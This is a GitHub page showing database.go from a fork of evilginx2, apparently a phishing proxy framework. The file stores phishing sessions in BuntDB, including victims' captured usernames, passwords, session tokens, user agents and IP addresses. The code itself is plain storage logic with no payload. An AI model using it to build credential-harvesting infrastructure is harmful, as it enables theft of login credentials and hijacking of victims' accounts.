forked from kgretzky/evilginx2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
database.go
123 lines (103 loc) · 2.52 KB
/
database.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
package database
import (
"encoding/json"
"strconv"
"github.com/tidwall/buntdb"
)
type Database struct {
path string
db *buntdb.DB
}
func NewDatabase(path string) (*Database, error) {
var err error
d := &Database{
path: path,
}
d.db, err = buntdb.Open(path)
if err != nil {
return nil, err
}
d.sessionsInit()
d.db.Shrink()
return d, nil
}
func (d *Database) CreateSession(sid string, phishlet string, landing_url string, useragent string, remote_addr string) error {
_, err := d.sessionsCreate(sid, phishlet, landing_url, useragent, remote_addr)
return err
}
func (d *Database) ListSessions() ([]*Session, error) {
s, err := d.sessionsList()
return s, err
}
func (d *Database) SetSessionUsername(sid string, username string) error {
err := d.sessionsUpdateUsername(sid, username)
return err
}
func (d *Database) SetSessionPassword(sid string, password string) error {
err := d.sessionsUpdatePassword(sid, password)
return err
}
func (d *Database) SetSessionCustom(sid string, name string, value string) error {
err := d.sessionsUpdateCustom(sid, name, value)
return err
}
func (d *Database) SetSessionTokens(sid string, tokens map[string]map[string]*Token) error {
err := d.sessionsUpdateTokens(sid, tokens)
return err
}
func (d *Database) DeleteSession(sid string) error {
s, err := d.sessionsGetBySid(sid)
if err != nil {
return err
}
err = d.sessionsDelete(s.Id)
return err
}
func (d *Database) DeleteSessionById(id int) error {
_, err := d.sessionsGetById(id)
if err != nil {
return err
}
err = d.sessionsDelete(id)
return err
}
func (d *Database) Flush() {
d.db.Shrink()
}
func (d *Database) genIndex(table_name string, id int) string {
return table_name + ":" + strconv.Itoa(id)
}
func (d *Database) getLastId(table_name string) (int, error) {
var id int = 1
var err error
err = d.db.View(func(tx *buntdb.Tx) error {
var s_id string
if s_id, err = tx.Get(table_name + ":0:id"); err != nil {
return err
}
if id, err = strconv.Atoi(s_id); err != nil {
return err
}
return nil
})
return id, err
}
func (d *Database) getNextId(table_name string) (int, error) {
var id int = 1
var err error
err = d.db.Update(func(tx *buntdb.Tx) error {
var s_id string
if s_id, err = tx.Get(table_name + ":0:id"); err == nil {
if id, err = strconv.Atoi(s_id); err != nil {
return err
}
}
tx.Set(table_name+":0:id", strconv.Itoa(id+1), nil)
return nil
})
return id, err
}
func (d *Database) getPivot(t interface{}) string {
pivot, _ := json.Marshal(t)
return string(pivot)
}